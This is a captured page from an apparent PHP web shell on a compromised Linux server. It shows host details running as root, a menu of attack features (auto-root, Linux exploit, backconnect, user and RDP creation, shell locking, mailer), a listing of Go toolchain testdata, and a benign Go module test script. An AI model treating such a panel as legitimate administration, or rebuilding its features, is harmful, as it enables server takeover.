Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
cmd /
go /
testdata /
script /
[ HOME SHELL ]
Name
Size
Permission
Action
README
11.1
KB
-rw-r--r--
bug.txt
815
B
-rw-r--r--
build_GOTMPDIR.txt
352
B
-rw-r--r--
build_acl_windows.txt
1.32
KB
-rw-r--r--
build_cache_arch_mode.txt
359
B
-rw-r--r--
build_cache_compile.txt
430
B
-rw-r--r--
build_cache_gomips.txt
859
B
-rw-r--r--
build_cache_link.txt
644
B
-rw-r--r--
build_cache_output.txt
1.99
KB
-rw-r--r--
build_cache_trimpath.txt
871
B
-rw-r--r--
build_exe.txt
518
B
-rw-r--r--
build_gcflags.txt
442
B
-rw-r--r--
build_i.txt
1012
B
-rw-r--r--
build_import_comment.txt
1.01
KB
-rw-r--r--
build_import_cycle.txt
240
B
-rw-r--r--
build_multi_main.txt
699
B
-rw-r--r--
build_nocache.txt
1.19
KB
-rw-r--r--
build_plugin_non_main.txt
351
B
-rw-r--r--
build_relative_pkgdir.txt
192
B
-rw-r--r--
build_relative_tmpdir.txt
410
B
-rw-r--r--
build_runtime_gcflags.txt
349
B
-rw-r--r--
build_trimpath.txt
3.66
KB
-rw-r--r--
cache_unix.txt
830
B
-rw-r--r--
cache_vet.txt
712
B
-rw-r--r--
cgo_asm_error.txt
321
B
-rw-r--r--
cgo_syso_issue29253.txt
441
B
-rw-r--r--
clean_testcache.txt
585
B
-rw-r--r--
cmd_import_error.txt
491
B
-rw-r--r--
cover_atomic_pkgall.txt
316
B
-rw-r--r--
cover_cgo.txt
381
B
-rw-r--r--
cover_cgo_extra_file.txt
528
B
-rw-r--r--
cover_cgo_extra_test.txt
552
B
-rw-r--r--
cover_cgo_xtest.txt
422
B
-rw-r--r--
cover_import_main_loop.txt
516
B
-rw-r--r--
cover_mod_empty.txt
176
B
-rw-r--r--
cover_modes.txt
669
B
-rw-r--r--
cover_pattern.txt
635
B
-rw-r--r--
cover_pkgall_multiple_mains.tx...
883
B
-rw-r--r--
cover_pkgall_runtime.txt
305
B
-rw-r--r--
cpu_profile_twice.txt
391
B
-rw-r--r--
devnull.txt
525
B
-rw-r--r--
doc.txt
1.2
KB
-rw-r--r--
env_write.txt
3.33
KB
-rw-r--r--
fileline.txt
201
B
-rw-r--r--
fmt_load_errors.txt
295
B
-rw-r--r--
gccgo_m.txt
315
B
-rw-r--r--
gccgo_mangle.txt
137
B
-rw-r--r--
gcflags_patterns.txt
2.17
KB
-rw-r--r--
generate_bad_imports.txt
246
B
-rw-r--r--
get_404_meta.txt
277
B
-rw-r--r--
get_brace.txt
1.33
KB
-rw-r--r--
get_dotfiles.txt
1.6
KB
-rw-r--r--
get_insecure_redirect.txt
394
B
-rw-r--r--
get_tilde.txt
779
B
-rw-r--r--
get_unicode.txt
1.25
KB
-rw-r--r--
get_with_git_trace.txt
139
B
-rw-r--r--
goflags.txt
1.34
KB
-rw-r--r--
gopath_install.txt
1.6
KB
-rw-r--r--
gopath_local.txt
2.94
KB
-rw-r--r--
gopath_moved_repo.txt
1.69
KB
-rw-r--r--
gopath_paths.txt
1.05
KB
-rw-r--r--
gopath_std_vendor.txt
1.36
KB
-rw-r--r--
gopath_vendor_dup_err.txt
391
B
-rw-r--r--
help.txt
1.17
KB
-rw-r--r--
import_main.txt
1.71
KB
-rw-r--r--
install_cleans_build.txt
507
B
-rw-r--r--
install_cmd_gobin.txt
370
B
-rw-r--r--
install_cross_gobin.txt
633
B
-rw-r--r--
install_rebuild_gopath.txt
465
B
-rw-r--r--
install_rebuild_removed.txt
688
B
-rw-r--r--
link_syso_issue33139.txt
1.16
KB
-rw-r--r--
linkname.txt
210
B
-rw-r--r--
list_ambiguous_path.txt
1.06
KB
-rw-r--r--
list_bad_import.txt
2.13
KB
-rw-r--r--
list_compiled_imports.txt
681
B
-rw-r--r--
list_constraints.txt
1.71
KB
-rw-r--r--
list_find.txt
748
B
-rw-r--r--
list_importmap.txt
939
B
-rw-r--r--
list_linkshared.txt
297
B
-rw-r--r--
list_parse_err.txt
266
B
-rw-r--r--
list_split_main.txt
439
B
-rw-r--r--
list_std.txt
693
B
-rw-r--r--
list_test_e.txt
239
B
-rw-r--r--
list_test_err.txt
2.67
KB
-rw-r--r--
list_test_imports.txt
465
B
-rw-r--r--
list_test_non_go_files.txt
306
B
-rw-r--r--
list_wildcard_skip_nonmatching...
282
B
-rw-r--r--
mod_alt_goroot.txt
535
B
-rw-r--r--
mod_ambiguous_import.txt
1.48
KB
-rw-r--r--
mod_auth.txt
744
B
-rw-r--r--
mod_bad_domain.txt
1.1
KB
-rw-r--r--
mod_bad_filenames.txt
568
B
-rw-r--r--
mod_build_info_err.txt
448
B
-rw-r--r--
mod_build_tags.txt
538
B
-rw-r--r--
mod_build_versioned.txt
346
B
-rw-r--r--
mod_cache_rw.txt
2.01
KB
-rw-r--r--
mod_case.txt
409
B
-rw-r--r--
mod_case_cgo.txt
94
B
-rw-r--r--
mod_clean_cache.txt
1.78
KB
-rw-r--r--
mod_concurrent.txt
785
B
-rw-r--r--
mod_convert_dep.txt
912
B
-rw-r--r--
mod_convert_git.txt
614
B
-rw-r--r--
mod_convert_glide.txt
460
B
-rw-r--r--
mod_convert_glockfile.txt
458
B
-rw-r--r--
mod_convert_godeps.txt
479
B
-rw-r--r--
mod_convert_tsv.txt
472
B
-rw-r--r--
mod_convert_tsv_insecure.txt
596
B
-rw-r--r--
mod_convert_vendor_conf.txt
462
B
-rw-r--r--
mod_convert_vendor_json.txt
475
B
-rw-r--r--
mod_convert_vendor_manifest.tx...
469
B
-rw-r--r--
mod_convert_vendor_yml.txt
460
B
-rw-r--r--
mod_dir.txt
221
B
-rw-r--r--
mod_doc.txt
2.6
KB
-rw-r--r--
mod_domain_root.txt
192
B
-rw-r--r--
mod_dot.txt
1.2
KB
-rw-r--r--
mod_download.txt
5.06
KB
-rw-r--r--
mod_download_hash.txt
877
B
-rw-r--r--
mod_download_json.txt
261
B
-rw-r--r--
mod_download_partial.txt
1.67
KB
-rw-r--r--
mod_download_replace_file.txt
398
B
-rw-r--r--
mod_edit.txt
3.46
KB
-rw-r--r--
mod_edit_go.txt
461
B
-rw-r--r--
mod_empty_err.txt
996
B
-rw-r--r--
mod_enabled.txt
1.71
KB
-rw-r--r--
mod_file_proxy.txt
1.23
KB
-rw-r--r--
mod_find.txt
2.22
KB
-rw-r--r--
mod_fs_patterns.txt
1.68
KB
-rw-r--r--
mod_get_cmd.txt
536
B
-rw-r--r--
mod_get_commit.txt
1.39
KB
-rw-r--r--
mod_get_direct.txt
432
B
-rw-r--r--
mod_get_downgrade.txt
1.51
KB
-rw-r--r--
mod_get_fallback.txt
246
B
-rw-r--r--
mod_get_hash.txt
620
B
-rw-r--r--
mod_get_incompatible.txt
431
B
-rw-r--r--
mod_get_indirect.txt
1.58
KB
-rw-r--r--
mod_get_insecure_redirect.txt
906
B
-rw-r--r--
mod_get_latest_pseudo.txt
276
B
-rw-r--r--
mod_get_local.txt
1.51
KB
-rw-r--r--
mod_get_main.txt
1.15
KB
-rw-r--r--
mod_get_major.txt
626
B
-rw-r--r--
mod_get_moved.txt
1.23
KB
-rw-r--r--
mod_get_newcycle.txt
477
B
-rw-r--r--
mod_get_none.txt
253
B
-rw-r--r--
mod_get_patterns.txt
1.13
KB
-rw-r--r--
mod_get_private_vcs.txt
335
B
-rw-r--r--
mod_get_pseudo.txt
2.22
KB
-rw-r--r--
mod_get_pseudo_other_branch.tx...
1.48
KB
-rw-r--r--
mod_get_pseudo_prefix.txt
1.63
KB
-rw-r--r--
mod_get_svn.txt
1.58
KB
-rw-r--r--
mod_get_tags.txt
791
B
-rw-r--r--
mod_get_test.txt
1.25
KB
-rw-r--r--
mod_get_trailing_slash.txt
967
B
-rw-r--r--
mod_get_upgrade.txt
1.17
KB
-rw-r--r--
mod_get_upgrade_pseudo.txt
2.24
KB
-rw-r--r--
mod_getmode_vendor.txt
1.05
KB
-rw-r--r--
mod_getx.txt
400
B
-rw-r--r--
mod_git_export_subst.txt
549
B
-rw-r--r--
mod_go_version.txt
1010
B
-rw-r--r--
mod_go_version_mixed.txt
646
B
-rw-r--r--
mod_gobuild_import.txt
2.91
KB
-rw-r--r--
mod_gofmt_invalid.txt
207
B
-rw-r--r--
mod_gonoproxy.txt
960
B
-rw-r--r--
mod_gopkg_unstable.txt
425
B
-rw-r--r--
mod_goroot_errors.txt
1.86
KB
-rw-r--r--
mod_graph.txt
207
B
-rw-r--r--
mod_help.txt
132
B
-rw-r--r--
mod_import.txt
375
B
-rw-r--r--
mod_import_mod.txt
143
B
-rw-r--r--
mod_import_v1suffix.txt
187
B
-rw-r--r--
mod_in_testdata_dir.txt
974
B
-rw-r--r--
mod_indirect.txt
1.3
KB
-rw-r--r--
mod_indirect_main.txt
1.38
KB
-rw-r--r--
mod_indirect_tidy.txt
804
B
-rw-r--r--
mod_init_dep.txt
1010
B
-rw-r--r--
mod_init_empty.txt
192
B
-rw-r--r--
mod_init_glide.txt
582
B
-rw-r--r--
mod_init_path.txt
214
B
-rw-r--r--
mod_install_versioned.txt
211
B
-rw-r--r--
mod_internal.txt
2.33
KB
-rw-r--r--
mod_invalid_version.txt
12.99
KB
-rw-r--r--
mod_issue35317.txt
244
B
-rw-r--r--
mod_list.txt
1.97
KB
-rw-r--r--
mod_list_bad_import.txt
2.31
KB
-rw-r--r--
mod_list_compiled_concurrent.t...
1.65
KB
-rw-r--r--
mod_list_dir.txt
1.18
KB
-rw-r--r--
mod_list_direct.txt
520
B
-rw-r--r--
mod_list_e_readonly.txt
449
B
-rw-r--r--
mod_list_pseudo.txt
1.74
KB
-rw-r--r--
mod_list_replace_dir.txt
459
B
-rw-r--r--
mod_list_std.txt
1.87
KB
-rw-r--r--
mod_list_test.txt
278
B
-rw-r--r--
mod_list_upgrade.txt
131
B
-rw-r--r--
mod_list_upgrade_pseudo.txt
785
B
-rw-r--r--
mod_load_badchain.txt
2.88
KB
-rw-r--r--
mod_load_badmod.txt
516
B
-rw-r--r--
mod_load_badzip.txt
506
B
-rw-r--r--
mod_local_replace.txt
329
B
-rw-r--r--
mod_missing_repo.txt
512
B
-rw-r--r--
mod_missingpkg_prerelease.txt
329
B
-rw-r--r--
mod_modinfo.txt
1.79
KB
-rw-r--r--
mod_multirepo.txt
883
B
-rw-r--r--
mod_nomod.txt
644
B
-rw-r--r--
mod_off.txt
1.05
KB
-rw-r--r--
mod_off_init.txt
225
B
-rw-r--r--
mod_outside.txt
9.77
KB
-rw-r--r--
mod_patterns.txt
2.39
KB
-rw-r--r--
mod_patterns_vendor.txt
528
B
-rw-r--r--
mod_permissions.txt
1.24
KB
-rw-r--r--
mod_prefer_compatible.txt
2.48
KB
-rw-r--r--
mod_proxy_errors.txt
697
B
-rw-r--r--
mod_proxy_https.txt
462
B
-rw-r--r--
mod_proxy_list.txt
794
B
-rw-r--r--
mod_pseudo_cache.txt
1.13
KB
-rw-r--r--
mod_query.txt
990
B
-rw-r--r--
mod_query_empty.txt
2.73
KB
-rw-r--r--
mod_query_exclude.txt
489
B
-rw-r--r--
mod_readonly.txt
2.18
KB
-rw-r--r--
mod_replace.txt
3.69
KB
-rw-r--r--
mod_replace_gopkgin.txt
2.3
KB
-rw-r--r--
mod_replace_import.txt
2.66
KB
-rw-r--r--
mod_require_exclude.txt
609
B
-rw-r--r--
mod_retention.txt
2.49
KB
-rw-r--r--
mod_run_path.txt
359
B
-rw-r--r--
mod_std_vendor.txt
1.89
KB
-rw-r--r--
mod_string_alias.txt
146
B
-rw-r--r--
mod_sum_replaced.txt
683
B
-rw-r--r--
mod_sumdb.txt
1.04
KB
-rw-r--r--
mod_sumdb_cache.txt
1.26
KB
-rw-r--r--
mod_sumdb_file_path.txt
2.32
KB
-rw-r--r--
mod_sumdb_golang.txt
1.19
KB
-rw-r--r--
mod_sumdb_proxy.txt
1.4
KB
-rw-r--r--
mod_symlink.txt
1016
B
-rw-r--r--
mod_test.txt
2.17
KB
-rw-r--r--
mod_test_cached.txt
1.49
KB
-rw-r--r--
mod_test_files.txt
1.1
KB
-rw-r--r--
mod_tidy.txt
897
B
-rw-r--r--
mod_tidy_cycle.txt
949
B
-rw-r--r--
mod_tidy_error.txt
1.17
KB
-rw-r--r--
mod_tidy_quote.txt
429
B
-rw-r--r--
mod_tidy_replace.txt
2.89
KB
-rw-r--r--
mod_tidy_sum.txt
748
B
-rw-r--r--
mod_upgrade_patch.txt
2.96
KB
-rw-r--r--
mod_vcs_missing.txt
491
B
-rw-r--r--
mod_vendor.txt
6.23
KB
-rw-r--r--
mod_vendor_auto.txt
9.29
KB
-rw-r--r--
mod_vendor_build.txt
888
B
-rw-r--r--
mod_vendor_nodeps.txt
118
B
-rw-r--r--
mod_vendor_replace.txt
1.79
KB
-rw-r--r--
mod_vendor_trimpath.txt
1.13
KB
-rw-r--r--
mod_vendor_unused.txt
1.43
KB
-rw-r--r--
mod_verify.txt
2.34
KB
-rw-r--r--
mod_versions.txt
377
B
-rw-r--r--
mod_why.txt
2.24
KB
-rw-r--r--
modfile_flag.txt
2.38
KB
-rw-r--r--
noncanonical_import.txt
352
B
-rw-r--r--
pattern_syntax_error.txt
185
B
-rw-r--r--
prevent_sys_unix_import.txt
175
B
-rw-r--r--
run_hello.txt
140
B
-rw-r--r--
run_hello_pkg.txt
168
B
-rw-r--r--
run_internal.txt
1.14
KB
-rw-r--r--
run_set_executable_name.txt
627
B
-rw-r--r--
run_wildcard.txt
223
B
-rw-r--r--
script_wait.txt
485
B
-rw-r--r--
std_vendor.txt
966
B
-rw-r--r--
sum_readonly.txt
469
B
-rw-r--r--
test_bad_example.txt
234
B
-rw-r--r--
test_badtest.txt
805
B
-rw-r--r--
test_benchmark_chatty_fail.txt
739
B
-rw-r--r--
test_benchmark_chatty_success....
629
B
-rw-r--r--
test_benchmark_fatal.txt
310
B
-rw-r--r--
test_benchmark_labels.txt
383
B
-rw-r--r--
test_cache_inputs.txt
4.85
KB
-rw-r--r--
test_chatty_fail.txt
719
B
-rw-r--r--
test_chatty_parallel_fail.txt
2.79
KB
-rw-r--r--
test_chatty_parallel_success.t...
2.62
KB
-rw-r--r--
test_chatty_parallel_success_s...
886
B
-rw-r--r--
test_chatty_success.txt
937
B
-rw-r--r--
test_compile_binary.txt
136
B
-rw-r--r--
test_compile_tempfile.txt
273
B
-rw-r--r--
test_flag.txt
362
B
-rw-r--r--
test_generated_main.txt
941
B
-rw-r--r--
test_go111module_cache.txt
206
B
-rw-r--r--
test_import_error_stack.txt
384
B
-rw-r--r--
test_json_panic_exit.txt
1.2
KB
-rw-r--r--
test_main_archive.txt
436
B
-rw-r--r--
test_main_panic.txt
603
B
-rw-r--r--
test_main_twice.txt
482
B
-rw-r--r--
test_match_no_tests_build_fail...
368
B
-rw-r--r--
test_minus_n.txt
204
B
-rw-r--r--
test_no_tests.txt
195
B
-rw-r--r--
test_race.txt
611
B
-rw-r--r--
test_race_cover_mode_issue2043...
651
B
-rw-r--r--
test_rebuildall.txt
328
B
-rw-r--r--
test_regexps.txt
1.9
KB
-rw-r--r--
test_status.txt
220
B
-rw-r--r--
test_syntax_error_says_fail.tx...
303
B
-rw-r--r--
test_timeout.txt
448
B
-rw-r--r--
vendor_complex.txt
1.21
KB
-rw-r--r--
version.txt
713
B
-rw-r--r--
vet_asm.txt
583
B
-rw-r--r--
vet_deps.txt
354
B
-rw-r--r--
vet_flags.txt
1.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_outside.txt
env GO111MODULE=on [short] skip # This script tests commands in module mode outside of any module. # # First, ensure that we really are in module mode, and that we really don't have # a go.mod file. go env GOMOD stdout 'NUL|/dev/null' # 'go list' without arguments implicitly operates on the current directory, # which is not in a module. ! go list stderr 'cannot find main module' go list -m stdout '^command-line-arguments$' # 'go list' in the working directory should fail even if there is a a 'package # main' present: without a main module, we do not know its package path. ! go list ./needmod stderr 'cannot find main module' # 'go list all' lists the transitive import graph of the main module, # which is empty if there is no main module. go list all ! stdout . stderr 'warning: "all" matched no packages' # 'go list' on standard-library packages should work, since they do not depend # on the contents of any module. go list -deps cmd stdout '^fmt$' stdout '^cmd/go$' go list $GOROOT/src/fmt stdout '^fmt$' # 'go list' should work with file arguments. go list ./needmod/needmod.go stdout 'command-line-arguments' # 'go list -m' with an explicit version should resolve that version. go list -m example.com/version@latest stdout 'example.com/version v1.1.0' # 'go list -m -versions' should succeed even without an explicit version. go list -m -versions example.com/version stdout 'v1.0.0\s+v1.0.1\s+v1.1.0' # 'go list -m all' should fail. "all" is not meaningful outside of a module. ! go list -m all stderr 'go: cannot match "all": working directory is not part of a module' # 'go list -m <mods> all' should also fail. ! go list -m example.com/printversion@v1.0.0 all stderr 'go: cannot match "all": working directory is not part of a module' ! stdout 'example.com/version' # 'go list -m' with wildcards should fail. Wildcards match modules in the # build list, so they aren't meaningful outside a module. ! go list -m ... stderr 'go: cannot match "...": working directory is not part of a module' ! go list -m rsc.io/quote/... stderr 'go: cannot match "rsc.io/quote/...": working directory is not part of a module' # 'go clean' should skip the current directory if it isn't in a module. go clean -n ! stdout . ! stderr . # 'go mod graph' should not display anything, since there are no active modules. go mod graph ! stdout . ! stderr . # 'go mod why' should fail, since there is no main module to depend on anything. ! go mod why -m example.com/version stderr 'cannot find main module' # 'go mod edit', 'go mod tidy', and 'go mod fmt' should fail: # there is no go.mod file to edit. ! go mod tidy stderr 'cannot find main module' ! go mod edit -fmt stderr 'cannot find main module' ! go mod edit -require example.com/version@v1.0.0 stderr 'cannot find main module' # 'go mod download' without arguments should report an error. ! go mod download stderr 'no modules specified' # 'go mod download' should download exactly the requested module without dependencies. rm -r $GOPATH/pkg/mod/cache/download/example.com go mod download example.com/printversion@v1.0.0 exists $GOPATH/pkg/mod/cache/download/example.com/printversion/@v/v1.0.0.zip ! exists $GOPATH/pkg/mod/cache/download/example.com/version/@v/v1.0.0.zip # 'go mod download all' should fail. "all" is not meaningful outside of a module. ! go mod download all stderr 'go: cannot match "all": working directory is not part of a module' # 'go mod vendor' should fail: it starts by clearing the existing vendor # directory, and we don't know where that is. ! go mod vendor stderr 'cannot find main module' # 'go mod verify' should fail: we have no modules to verify. ! go mod verify stderr 'cannot find main module' # 'go get' without arguments implicitly operates on the main module, and thus # should fail. ! go get stderr 'cannot find main module' ! go get -u stderr 'cannot find main module' ! go get -u ./needmod stderr 'cannot find main module' # 'go get -u all' upgrades the transitive import graph of the main module, # which is empty. ! go get -u all stderr 'go get all: cannot match "all": working directory is not part of a module' # 'go get' should check the proposed module graph for consistency, # even though we won't write it anywhere. ! go get -d example.com/printversion@v1.0.0 example.com/version@none stderr 'inconsistent versions' # 'go get -d' should download and extract the source code needed to build the requested version. rm -r $GOPATH/pkg/mod/example.com go get -d example.com/printversion@v1.0.0 exists $GOPATH/pkg/mod/example.com/printversion@v1.0.0 exists $GOPATH/pkg/mod/example.com/version@v1.0.0 # 'go build' without arguments implicitly operates on the current directory, and should fail. cd needmod ! go build stderr 'cannot find main module' cd .. # 'go build' of a non-module directory should fail too. ! go build ./needmod stderr 'cannot find main module' # 'go build' of source files should fail if they import anything outside std. ! go build -n ./needmod/needmod.go stderr 'needmod[/\\]needmod.go:10:2: cannot find module providing package example.com/version: working directory is not part of a module' # 'go build' of source files should succeed if they do not import anything outside std. go build -n -o ignore ./stdonly/stdonly.go # 'go build' should succeed for standard-library packages. go build -n fmt # 'go doc' without arguments implicitly operates on the current directory, and should fail. # TODO(golang.org/issue/32027): currently, it succeeds. cd needmod go doc cd .. # 'go doc' of a non-module directory should also succeed. go doc ./needmod # 'go doc' should succeed for standard-library packages. go doc fmt # 'go doc' should fail for a package path outside a module. ! go doc example.com/version stderr 'doc: cannot find module providing package example.com/version: working directory is not part of a module' # 'go install' with a version should fail due to syntax. ! go install example.com/printversion@v1.0.0 stderr 'can only use path@version syntax with' # 'go install' should fail if a package argument must be resolved to a module. ! go install example.com/printversion stderr 'cannot find module providing package example.com/printversion: working directory is not part of a module' # 'go install' should fail if a source file imports a package that must be # resolved to a module. ! go install ./needmod/needmod.go stderr 'needmod[/\\]needmod.go:10:2: cannot find module providing package example.com/version: working directory is not part of a module' # 'go run' with a verison should fail due to syntax. ! go run example.com/printversion@v1.0.0 stderr 'can only use path@version syntax with' # 'go run' should fail if a package argument must be resolved to a module. ! go run example.com/printversion stderr 'cannot find module providing package example.com/printversion: working directory is not part of a module' # 'go run' should fail if a source file imports a package that must be # resolved to a module. ! go run ./needmod/needmod.go stderr 'needmod[/\\]needmod.go:10:2: cannot find module providing package example.com/version: working directory is not part of a module' # 'go fmt' should be able to format files outside of a module. go fmt needmod/needmod.go # The remainder of the test checks dependencies by linking and running binaries. # 'go get' of a binary without a go.mod should install the requested version, # resolving outside dependencies to the latest available versions. go get example.com/printversion@v0.1.0 exec ../bin/printversion stdout 'path is example.com/printversion' stdout 'main is example.com/printversion v0.1.0' stdout 'using example.com/version v1.1.0' # 'go get' of a versioned binary should build and install the latest version # using its minimal module requirements, ignoring replacements and exclusions. go get example.com/printversion exec ../bin/printversion stdout 'path is example.com/printversion' stdout 'main is example.com/printversion v1.0.0' stdout 'using example.com/version v1.0.0' # 'go get -u=patch' should patch dependencies before installing, # again ignoring replacements and exclusions. go get -u=patch example.com/printversion@v1.0.0 exec ../bin/printversion stdout 'path is example.com/printversion' stdout 'main is example.com/printversion v1.0.0' stdout 'using example.com/version v1.0.1' # 'go run' should work with file arguments if they don't import anything # outside std. go run ./stdonly/stdonly.go stdout 'path is command-line-arguments$' stdout 'main is command-line-arguments \(devel\)' # 'go generate' should work with file arguments. [exec:touch] go generate ./needmod/needmod.go [exec:touch] exists ./needmod/gen.txt # 'go install' should work with file arguments. go install ./stdonly/stdonly.go # 'go test' should work with file arguments. go test -v ./stdonly/stdonly_test.go stdout 'stdonly was tested' # 'go vet' should work with file arguments. go vet ./stdonly/stdonly.go -- README.txt -- There is no go.mod file in the working directory. -- needmod/needmod.go -- //go:generate touch gen.txt package main import ( "fmt" "os" "runtime/debug" _ "example.com/version" ) func main() { info, ok := debug.ReadBuildInfo() if !ok { panic("missing build info") } fmt.Fprintf(os.Stdout, "path is %s\n", info.Path) fmt.Fprintf(os.Stdout, "main is %s %s\n", info.Main.Path, info.Main.Version) for _, m := range info.Deps { fmt.Fprintf(os.Stdout, "using %s %s\n", m.Path, m.Version) } } -- stdonly/stdonly.go -- package main import ( "fmt" "os" "runtime/debug" ) func main() { info, ok := debug.ReadBuildInfo() if !ok { panic("missing build info") } fmt.Fprintf(os.Stdout, "path is %s\n", info.Path) fmt.Fprintf(os.Stdout, "main is %s %s\n", info.Main.Path, info.Main.Version) for _, m := range info.Deps { fmt.Fprintf(os.Stdout, "using %s %s\n", m.Path, m.Version) } } -- stdonly/stdonly_test.go -- package main import ( "fmt" "testing" ) func Test(t *testing.T) { fmt.Println("stdonly was tested") }
Close